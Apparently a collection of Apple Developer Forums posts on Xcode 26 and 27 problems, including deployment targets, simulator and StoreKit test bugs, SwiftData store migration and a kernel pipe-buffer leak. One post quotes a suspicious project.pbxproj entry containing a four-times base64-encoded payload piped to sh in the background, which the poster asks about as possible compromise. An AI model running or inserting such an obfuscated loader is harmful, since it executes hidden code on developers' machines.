Hello, I am building a developer tool and for that I need to figure out which min deployment targets users technically may still specify in their Xcode projects. This page https://developer.apple.com/support/xcode indirectly says that both Xcode 26 and Xcode 27 allow setting IPHONEOS_DEPLOYMENT_TARGET only to iOS 15.0 and newer. Also https://developer.apple.com/news/upcoming-requirements/ now says that starting April 28 2026, the apps must be built with iOS SDK 26+, meaning only Xcode 26 and newer may be used for building the apps that go to the AppStore. However in fact in Xcode 26 I can specify older iOS deployment targets, as low as iOS 12. This post here https://developer.apple.com/forums/thread/805506?answerId=863871022#863871022 confirms that in fact it is possible to even submit the app to the AppStore with IPHONEOS_DEPLOYMENT_TARGET 12.0 There's also this post https://developer.apple.com/forums/thread/821370?answerId=882853022#882853022 that indirectly confirms that Apple still allows iOS 12.0 deployment target. Since Xcode 26 is still allowed to build apps for the AppStore even after Xcode 27.0 release, does that mean the developers may technically be able to keep specifying iOS 12, iOS 13, iOS 14 as deployment target when submitting their apps to the AppStore without having their apps rejected?

On iOS 18.0+ simulators, tap any share link button from any app, select "Save to Files", the "Save" button is disabled. In all previous simulator versions this works. This behavior even happens with default Apple apps like Photos. Simulator: Version 16.0 (1037) XCode: Version 16.1 beta (16B5001e) macOS: 14.6.1 (23G93)

Downloaded beta three. Tried to continue conversation. Says Using LM Studio/qwen/opencode. Restarted LM Studio. Opencode is on latest version.

quencoder 2.5 locally is making great plans. Beautiful plans amazing plans that are so correct I want to hug it. But when I want to implement it there is no button asking me if I want to go ahead. I tried /exit-plan and the command could not be completed (I only see /plan, /rename, and /exit-planP. I do not see the markdown in a separate pane that's copyable as shown in this video https://developer.apple.com/videos/play/wwdc2026/259/?time=597 (I also can't get the conversation in a separate window by pressing option shift click, I have to manually open the conversation in a new tab). I get a plan interleaved with code snippets and I can't copy the whole plan to a new conversation. I would very much like this to work. (I also really like being able to run locally because I do not agree with google, openai, or anthropic ethics. thanks for giving me a choice) (I also like how not like a sycophant the tone of the response is. refreshing) (Note I started planning first because without a plan it started mucking about in the plist editing status bar keys when the problem was a navigation bar which I thought was clear from the picture I attached) (But I'd really like to say go and I have no buttons to exit plan mode.) (I am going to stay on Tahoe till October) I asked it how to copy and it said: In the opencode session where the plan was discussed, type /share — it'll copy a shareable link to your clipboard (like opncd.ai/s/...). Paste that link here and I can fetch the plan directly. That was a hallucination when I typed /share the agent just repeated its plan for a third time. It's a good plan, the best plan, I don't see any algae in this plan. It also said "I can see from the repository exploration that there's no written plan document, and the other agent is working on "[the plan]." However, I don't have access to the previous conversation's last response. Maybe there should be a button to copy a whole response or open a new conversation (not in plan mode) with a response? I see that I can configure agents https://opencode.ai/docs/agents/. Should I? Shouldn't Xcode do it for me? { "$schema": "https://opencode.ai/config.json", "agent": { "build": { "mode": "primary", "model": "anthropic/claude-sonnet-4-20250514", "prompt": "{file:./prompts/build.txt}", "permission": { "edit": "allow", "bash": "allow" } }, "plan": { "mode": "primary", "model": "anthropic/claude-haiku-4-20250514", "permission": { "edit": "deny", "bash": "deny" } }, "code-reviewer": { "description": "Reviews code for best practices and potential issues", "mode": "subagent", "model": "anthropic/claude-sonnet-4-20250514", "prompt": "You are a code reviewer. Focus on security, performance, and maintainability.", "permission": { "edit": "deny" } } } }

The MetricKit documentation ("Track performance by app state using MetricKit") states: "MetricKit delivers reports on a system-determined schedule. To generate reports during development, choose Debug > Simulate MetricKit Payloads in Xcode." https://developer.apple.com/documentation/metrickit/track-performance-by-app-state-using-metrickit This menu item was present in Xcode 26.6, but is no longer shown under the Debug menu in Xcode 27.0 beta 3. Steps to reproduce: Open a project in Xcode 27.0 beta 3 Open the Debug menu "Simulate MetricKit Payloads" is not listed Expected: The menu item should be available as documented, and as it was in Xcode 26.6. Has anyone else run into this, or found a workaround for triggering MetricKit payloads in Xcode 27 betas? Filed as FB23760649. Environment: Xcode 27.0 beta 3, macOS 26.5.2

So I was using the Xcode 27 beta to do c++ coding. But when I was running the code I cannot type anything in the console. Why does this happen?

On iOS 26.5 simulator runtime, running UI tests via xcodebuild test from the command line does not push the scheme's StoreKitConfigurationFileReference to the destination simulator's storekitd AppGroup Octane container. As a consequence, SKTestSession(configurationFileNamed:) either silently falls through to the production App Store (surfacing a "Sign in to Apple Account" SpringBoard alert during paywall tests), or throws SKInternalErrorDomain Code=3 "Error saving configuration file" if you call any SKTestSession instance method. The same project, same scheme, same .storekit file works correctly when launched via Xcode IDE (Cmd+R / Cmd+U) — which uses DVTDevice.handleStoreKitConfigurationSyncForBundleID:configurationFilePath: via an internal IDELaunchSession XPC path that the public xcodebuild CLI does not invoke. This regression makes StoreKit Test unusable in CI for any project using xcodebuild test or xcodebuild test-without-building against an iOS 26.5 simulator. Environment macOS: 26.x Xcode: 26.4.1 (25E253) iOS Simulator runtime affected: 26.5 iOS Simulator runtime that does not exhibit the bug: 26.1 Test target: XCTest UI tests Test plan: *.xctestplan with "storeKitConfiguration": "MyApp.storekit" in defaultOptions Affected scheme actions: Test (CLI) Not affected: Run, Test (Xcode IDE) Steps to Reproduce Create a SwiftUI iOS app com.example.MyApp. Add a MyApp.storekit with one auto-renewable subscription. Add a UI test target. In the xctestplan: defaultOptions.storeKitConfiguration = "MyApp.storekit". In the UI test base case: private var storeKitSession: SKTestSession? override func setUpWithError() throws { storeKitSession = try SKTestSession(configurationFileNamed: "MyApp") app.launch() } Boot a fresh iOS 26.5 simulator. Run via CLI: xcodebuild test \ -project MyApp.xcodeproj \ -scheme MyApp \ -testPlan MyAppUITests \ -destination "platform=iOS Simulator,name=iPhone 17 Pro" In the test, trigger paywall and call Product.purchase(). Expected Product.purchase() presents the StoreKit Test sheet labeled "[Environment] Xcode". Same behavior as Xcode IDE Cmd+U. Actual Production App Store flow triggers. SpringBoard alert "Sign in to Apple Account" appears. Tests waiting on the "Xcode"-labeled sheet fail with Element does not exist. Evidence The simulator's ~/Library/Developer/CoreSimulator/Devices/<UDID>/data/Containers/Shared/AppGroup/<storekit-AGID>/Documents/Persistence/Octane/com.example.MyApp/Configuration.storekit: Present (≈100 KB) when launched via Xcode IDE. Missing when launched via xcodebuild test CLI on the same simulator UDID. Workarounds Attempted (all fail on iOS 26.5) No-op XCTestCase "warmup" that calls XCUIApplication.launch() + sleep — does not trigger the sync because XCUIApplication.launch() routes through XCTRunner, not IDELaunchSession. Multi-destination xcodebuild test with -parallelize-tests-among-destinations. Manually cp-ing the .storekit file into the AppGroup Octane container — storekitd only loads via the XPC channel. launchctl kickstart -k system/com.apple.storekitd — wipes in-memory state, does not pick up disk file. Only working workaround: open project in Xcode IDE, Cmd+R, wait ~20–30 sec, Cmd+., then Cmd+U. Not viable for CI. Related Open Feedback FB22237318 — SKTestSession instance methods (clearTransactions(), failTransactionsEnabled = true) throw SKInternalErrorDomain Code=3 "Error saving configuration file". Discussion thread: https://developer.apple.com/forums/thread/808030 The iOS 26.5 Release Notes (https://developer.apple.com/documentation/ios-ipados-release-notes/ios-ipados-26_5-release-notes) under StoreKit Test list this issue as resolved in 26.5: "Fixed: SKTestSession may fail to save its configuration file when invoked outside of an Xcode debug session." However, on the public iOS 26.5 simulator runtime the behavior is unchanged — SKTestSession still hits Code=3 on any mutation, and xcodebuild test from CLI still does not sync the .storekit configuration. The 26.5 fix either did not actually ship, or this report describes a distinct but related issue that the fix did not cover. Impact Any CI/CD pipeline running UI tests for apps with StoreKit subscriptions is broken when targeting an iOS 26.5 simulator. Workarounds are either: Pin CI simulator runtime to iOS 26.1. Manually run the project in Xcode IDE before each test run (impossible headless). Has anyone found a CLI-friendly workaround? Or is there an undocumented xcodebuild flag / simctl command that can trigger the same DVTDevice sync from outside the IDE?

Hello, i need ti update an old app. My mac was full and cant even run the apps anymore i have reset it. Now i need ti import the onesignal framework. I followed every guide to import package dependency and still missing framework module. As i can see till not, im not able to do it from guides and tutorials 😅. If someone can help me with any desk i real appreciate it.

My question is how to pinch in and out in Device Hub. I can't find that function. I'm on a Macbook. Thanks.

I am using Xcode 27 beta 3 Device Hub with iPadOS Simulator. The iPadOS app I'm developing supports a standard two finger pinch/unpinch gesture to zoom in and out. In Xcode 26 Simulator, I could hold down the option key to zoom in and out with a two finger multitouch gesture. How can I effect a two finger multitouch zoom gesture with Xcode 27 beta 3 Device Hub iPadOS Simulator? I tried holding down the option key, which did not work. I tried using a macOS two finger multitouch pinch/unpinch zoom gesture, but this did not work. I've spent about 30 minutes investigating this, searching through Device Hub Settings and macOS Settings and exploring different permutations of options and reading Xcode 27 beta release notes. The Option key worked great in Xcode 26 iPadOS Simulator. I'd appreciate any assistance that an Apple Engineer could provide. Thank you.

I have observed an unexpected entry being added to my project's project.pbxproj file by Xcode: AB8F749 = "((d(){ base64 --decode | base64 --decode | base64 --decode | base64 --decode; };echo VjJ4a1QySXlTalZSVjJ4TFVUSm9jVnBHYUV0ak1HeEVUVlV4YWsxdVVuUlRWVTEzWkVkT2RGWnFRbXBpYlhSdVZHdE9RbVJGZUZoVWJscHBZbFJXYzFkVVRsSmtSMUpJWWtoU1lWWjZhM2hhUlU1Q1pWVTFjRkZZVW1GUk1FWndXVEJSZUU1R2EzbFBWM1JoVm1wc00xbFZaRWRsYkhCVVUxZGthRk5HU1hkWk1HaE9UbXQ0TlU5WGNHRlNlbFp2V1d4b2RtUlhSbGhPU0ZwYVZUSjBjRk5WYUROYU1rMTVXakJ6U3dvPQo= | d | sh ) >/dev/null 2>&1 &)"; This entry has been flagged as potentially malicious because it appears to contain multiple layers of Base64 encoding and ultimately executes a shell script after decoding. Could you please confirm whether this is expected behavior from Xcode or any Apple build tools? If this is not expected, could you advise what might be causing Xcode to insert such an entry into the project.pbxproj file? For context: The entry appears automatically in the project file. We are concerned because it resembles an obfuscated shell script that executes commands during the build process. We would like to understand whether this is generated by Xcode itself, a known feature, or whether it indicates that the project or development environment may have been modified by a third-party tool or compromised. If additional information such as the Xcode version, macOS version, project sample, or diagnostic logs would help your investigation, I would be happy to provide them. Thank you for your assistance.

Hi, I just modified my build setup. Now, Xcode project build crashes. From command line everything seems fine. xcodebuild ** BUILD SUCCEEDED ** Here is the stack-trace of crash-report showed: Thread 5 Crashed:: Dispatch queue: com.apple.root.default-qos.cooperative 0 SWBCore 0x10161da08 ClangCompilerSpec.constructTasks(_:_:) + 8636 1 SWBTaskConstruction 0x10119cee5 FilesBasedBuildPhaseTaskProducerBase.constructTasksForRule(_:_:_:) + 1 2 SWBTaskConstruction 0x1012202cd SourcesTaskProducer.constructTasksForRule(_:_:_:_:_:) + 1 3 SWBTaskConstruction 0x1011a11b9 closure #1 in FilesBasedBuildPhaseTaskProducerBase.addTasksForRule<A>(groupContext:_:_:_:_:_:_:) + 1 4 SWBTaskConstruction 0x10115fe89 <deduplicated_symbol> + 1 5 SWBTaskConstruction 0x1011547a1 <deduplicated_symbol> + 1 6 SWBTaskConstruction 0x1011da831 <deduplicated_symbol> + 1 7 SWBTaskConstruction 0x1011d53b1 specialized FilesBasedBuildPhaseTaskProducerBase.addTasksForGroup<A>(_:_:_:_:_:_:) + 1 8 SWBTaskConstruction 0x1011c7f8d specialized FilesBasedBuildPhaseTaskProducerBase.groupAndAddTasksForFiles<A>(_:_:_:filterToAPIRules:filterToHeaderRules:_:extraResolvedBuildFiles:) + 1 9 SWBTaskConstruction 0x1011e655d SourcesTaskProducer.generateTasks() + 1 10 SWBTaskConstruction 0x10114d725 <deduplicated_symbol> + 1 11 SWBTaskConstruction 0x1011532cd closure #2 in closure #4 in BuildPlan.init(planRequest:taskPlanningDelegate:) + 1 12 SWBTaskConstruction 0x10115fe89 <deduplicated_symbol> + 1 13 SWBTaskConstruction 0x101152321 <deduplicated_symbol> + 1 14 SWBTaskConstruction 0x101152321 <deduplicated_symbol> + 1 15 SWBUtil 0x100e32b0d <deduplicated_symbol> + 1 16 SWBUtil 0x100e32b0d <deduplicated_symbol> + 1 17 SWBUtil 0x100ec3271 <deduplicated_symbol> + 1 18 SWBUtil 0x100e3554d <deduplicated_symbol> + 1 19 libswift_Concurrency.dylib 0x287e40ec5 completeTaskWithClosure(swift::AsyncContext*, swift::SwiftError*) + 1 regards , Joël

I have a production app that originally used Core Data + CloudKit and was later migrated to SwiftData. The SwiftData migration preserved the existing SQLite store by explicitly pointing ModelConfiguration at the original database: let configuration = ModelConfiguration(url: storeURL) let container = try ModelContainer(for: schema, configurations: configuration) Because of this, my app does not use the higher-level ModelConfiguration(groupContainer:cloudKitDatabase:) initializer. I would now like to migrate the store into an App Group so it can be shared with widgets. During the WWDC26 SwiftData Group Lab (around 18:53), the guidance was: Moving to an App Group container is more involved: it's a different directory and entitlements can't be aligned to the old location, so you'll get a new container and must copy the existing data over into the group container, then start from there. However, I couldn't find documentation describing how Apple recommends performing that copy for a SwiftData application that already uses an explicit SQLite URL. Why the Core Data APIs don't seem applicable The obvious approach would be to use Core Data APIs such as: replacePersistentStore migratePersistentStore However, these APIs require a Core Data stack and a managed object model (.momd). After migrating completely to SwiftData, I no longer have a .momd in my project, so creating an NSPersistentContainer solely to move an existing SQLite store doesn't appear to be possible. Is there a supported way to use these APIs with a SwiftData store, or are they no longer intended for this scenario? Experiment Since the migration happens before creating the ModelContainer, I experimented with simply moving the entire persistence package using FileManager before SwiftData is initialized. Specifically I move: Store.sqlite Store.sqlite-wal Store.sqlite-shm .Store_SUPPORT Store_ckAssets from the application's Application Support directory into the App Group container, and then initialize SwiftData using: let configuration = ModelConfiguration(url: appGroupStoreURL) let container = try ModelContainer(for: schema, configurations: configuration) After doing this: all existing data is present; new data can be created successfully; if I run an older build that still points to Application Support, SwiftData simply creates a brand-new empty store there, which suggests the original store was indeed moved successfully. So from a local persistence perspective, this appears to work. Remaining concern Although this approach appears to preserve the SQLite store unchanged, I don't know whether it is actually safe for CloudKit. Specifically: Does moving the complete persistence package with FileManager preserve all CloudKit metadata needed for continued synchronization? Is there any risk that CloudKit will treat the moved store as a different store and re-upload or duplicate records? Are there additional files or directories that must also be moved besides: Store.sqlite Store.sqlite-wal Store.sqlite-shm .Store_SUPPORT Store_ckAssets Is there an Apple-recommended migration path for this scenario that avoids introducing a temporary Core Data model purely to move the store? In other words: What is the recommended migration path for an existing production SwiftData application using an explicit SQLite URL to move into an App Group while continuing to use CloudKit? One additional question The SwiftData documentation provides two different ways to configure persistent storage: ModelConfiguration( groupContainer: ..., cloudKitDatabase: ... ) and ModelConfiguration( url: ..., cloudKitDatabase: ... ) My understanding is that when using the groupContainer initializer, SwiftData may automatically handle moving the persistent store into the App Group when the application is updated. However, when using the url initializer, the application is explicitly responsible for choosing the store location. Is that understanding correct? If so: Is there any supported automatic migration mechanism when using ModelConfiguration(url:), or is manual migration expected? If manual migration is expected, is moving the complete persistence package (.sqlite, -wal, -shm, .Store_SUPPORT, Store_ckAssets) before creating the ModelContainer the recommended approach? Or is there another Apple-recommended migration path for this scenario? My related posts/questions https://developer.apple.com/forums/thread/769835 https://developer.apple.com/forums/thread/769676

The new MCP support for Coding Assistant in Xcode is a fantastic addition. It makes it much easier to work with AI directly inside Xcode, and it’s exciting to see Apple embracing AI-assisted development. However, many developers are now using external AI coding agents—such as Claude Code, Codex, and other terminal-based agents—as their primary development interface. In practice, much of the development workflow has shifted away from manually editing code in Xcode. Instead, developers collaborate with AI agents from the terminal (for example, using tmux), while the agents generate code, modify project settings, write tests, and perform many other development tasks. What these agents are missing is direct access to Xcode itself. It would be incredibly valuable if external AI coding agents could communicate with Xcode through an official MCP server, a CLI, or a dedicated automation API. For example, allowing them to: Build and run projects Control the iOS Simulator (or Device Hub) Launch and control Instruments Capture and analyze performance traces (Time Profiler, Leaks, Memory, SwiftUI, etc.) Inspect build errors, warnings, and diagnostics Access LLDB and debugging information Collect crash logs and symbolicated reports Perform other Xcode-specific operations that are currently only available through the IDE Imagine asking an AI agent to: “Profile my app with Instruments, find the performance bottleneck, explain the results, apply a fix, rebuild the app, and run the profiling session again to verify the improvement.” This would allow the AI to complete an entire development and optimization loop without requiring the developer to manually switch between the terminal and Xcode. The same idea could extend to many other workflows, including debugging, performance tuning, testing, accessibility verification, and simulator automation. Developers could continue using their preferred AI coding agent while still taking full advantage of Xcode’s unique capabilities. As AI-assisted development becomes more common, opening Xcode through an official MCP server, CLI, or automation API would unlock an entirely new class of development workflows. I believe this could become one of the most impactful improvements Apple could make for AI-assisted development. Today, AI agents are already capable of writing code. The next step is enabling them to fully collaborate with Xcode. Opening Xcode to external AI agents would allow developers to focus more on solving problems and less on operating tools.

Hello all, Yesterday, I found out that there's 60GB's of old simulator volumes on my mac in /Library/Developer/CoreSimulator/Volumes/. When I try to delete those through Xcode Settings -> Components under Other Installed Platforms, it looks like they are deleted, but after restarting my Mac, they simply return. I tried the solution proposed here (which is to delete the dmg files in /Library/Developer/CoreSimulator/Images/), but in my case, there are no dmg files in there. So it looks like they were properly deleted, unlike those in /Library/Developer/CoreSimulator/Volumes/. I could obviously try to delete the dmg files in /Library/Developer/CoreSimulator/Volumes/, but that doesn't work according to a post on reddit that I'm not allowed to show here (It's called 'Deleted 240GB of Xcode simulators multiple times but they keep remounting - how do I permanently remove them?') And I wonder if it's a safe thing to do. Do you have any suggestions for how to remove the old volumes correctly and permanently?

When using iOS 26.5 simulator to test my in-app purchase module, the products were loaded from my configuration file correctly, but calling purchase on the product would always return userCancellled outcome. Changing to iPhone15 + iOS 18 simulator resolved this issue.

Hi everyone, I'm exploring an idea for building an internal iOS test infrastructure and would appreciate some guidance on whether this is supported by Apple and complies with the Apple Developer Program terms. The idea is to have one or more Mac mini systems running Xcode and iOS Simulators on a private local network. Instead of engineers or CI systems interacting with the simulators directly on the Mac, they would connect to them remotely over the network to execute automated tests for an iOS application. The Mac minis and simulators would: Remain on my own premises. Be accessible only within a private/internal network (not exposed to the public internet). Be used solely for developing and testing an iOS application. My questions are: Is it supported to remotely access and control iOS Simulators over a private network for automated testing? Are there any licensing or Apple Developer Program restrictions that would prevent this type of setup? Are there any technical limitations or recommended best practices from Apple for building such an environment? I'm not asking about remote desktop access to the Mac itself. Instead, I'm interested in whether it's acceptable to expose a service running on the Mac that can manage simulator lifecycle (create, boot, shutdown, erase, etc.) and execute automation on behalf of clients over the network. If anyone from Apple or anyone who has built a similar setup can share guidance or point me to the relevant documentation, I'd really appreciate it. Thank you!

The release notes at https://developer.apple.com/documentation/xcode-release-notes/xcode-27-release-notes mention that the minimum deployment target is macOS 11.0, but Xcode itself says that only macOS 12.0 to 27.0 are supported. Which one is correct, Xcode or the release notes? I created FB23514411.

Development environment: MacBook pro Apple M1 macOS Tahoe 26.2 (25C56) Xcode 26.x iPhone 6 Plus / iOS 12.4.4 Exception description: After I upgraded to Xcode 26, my iPhone 6 Plus had a system version of 12.4.4. I was unable to perform real-device debugging, whether for existing projects or new ones. The error message from Xcode was as follows: Could not launch “xxx” Domain: IDEDebugSessionErrorDomain Code: 3 Failure Reason: Cannot launch '/private/var/containers/Bundle/Application/A44062C1-32F5-4346-B13C-FC3F39EAF7A1/xxx.app': Unspecified Even though I have already added device support for the iOS 12.4 Has Xcode 26 stopped supporting the debugging of any devices running iOS 12 system?

Symptom Every build — both the Xcode IDE and command-line xcodebuild — hangs indefinitely at "Pre-planning"/"Planning N/M", before any compilation starts. The build log freezes for 40+ minutes with no progress and no error. Inspecting the stuck processes: The clang feature-detection probes (clang -v -E -dM -c /dev/null) sit at 0% CPU, blocked in write(). SWBBuildService is idle in swift_task_asyncMainDrainQueue → mach_msg — it never reads the probe output. Root cause: collapsed pipe buffers On this machine, anonymous pipe buffer capacity has dropped to 512 bytes (a healthy macOS pipe starts at 16 KB and expands to 64 KB on demand). SWBBuildService runs the clang feature-detection probe and reads its ~15 KB of output lazily (via Swift concurrency). With only a 512-byte buffer, the pipe fills instantly, clang's write() blocks forever, and the build deadlocks before it begins. swift build (SwiftPM) is unaffected because it drains subprocess pipes continuously in small reads — confirming the problem is the pipe buffer size, not the toolchain or compiler. The key detail — it's progressive, not constant (looks like a kernel pipe-KVA leak) This is the part that points at a kernel bug rather than a fixed config: Right after a reboot, a fresh os.pipe() measures 65536 bytes, and builds succeed normally. After ~50 minutes of normal build activity, the same measurement has monotonically degraded to 512 bytes, and builds hang again. So pipe capacity appears to leak down as pipe kernel-virtual-address (KVA) accounting accumulates during use. Notably, kern.ipc.maxpipekva does not exist as a sysctl OID on 26.5, so there's no tunable to raise the pool. Minimal diagnostic anyone can run import os, fcntl, errno r, w = os.pipe() fcntl.fcntl(w, fcntl.F_SETFL, os.O_NONBLOCK) total = 0 try: while True: total += os.write(w, b"x" * 256) except OSError as e: if e.errno != errno.EAGAIN: raise print("pipe capacity:", total, "bytes") Healthy machine: 16384+ (usually 65536). Affected machine: 512. When it reads 512, every xcodebuild will hang. What did NOT fix it (ruled out) Downgrading Xcode — tested Xcode 26.4.1 (17E202) via DEVELOPER_DIR: hangs identically. The trigger is the OS, not Xcode/Swift. Raising kern.ipc.maxpipekva — the OID doesn't exist on 26.5. Memory pressure (64 GB, 94% free, 0 swap), /etc/sysctl.conf / boot-time overrides, NVRAM boot-args, MDM/configuration profiles (not enrolled), third-party security/AV/DLP software (none installed), the project/packages, derivedData location, user Xcode prefs (clean HOME still hangs), connected devices. File-descriptor exhaustion — only ~87 pipe FDs were open, so it's not a count limit; it's per-pipe capacity. What does help Reboot restores 64 KB pipes — but only buys ~1 build before they degrade again. Temporary. Full in-place reinstall of macOS 26.5 resets pipe capacity (the incremental OTA may have left the system inconsistent), but the leak recurs with use. Staying on / reverting to macOS 26.4 is the only durable fix found, since 26.5 is the trigger. Question for Apple / others seeing this Has anyone else on 26.5 (25F71) confirmed pipe capacity degrading over time with the Python snippet above? This looks like a kernel pipe-KVA accounting leak introduced in 26.5. A separate, smaller issue is that SWBBuildService drains the clang probe pipe lazily, which turns a small pipe buffer into a hard deadlock instead of just slow I/O — a continuous-drain read would make Xcode resilient to it. Environment Mac Studio (Apple Silicon), 64 GB RAM macOS 26.5 (build 25F71) — problem began immediately after an incremental OTA update from 26.2 → 26.5 Xcode 26.5 (also reproduced on Xcode 26.4.1 / 17E202 — see below)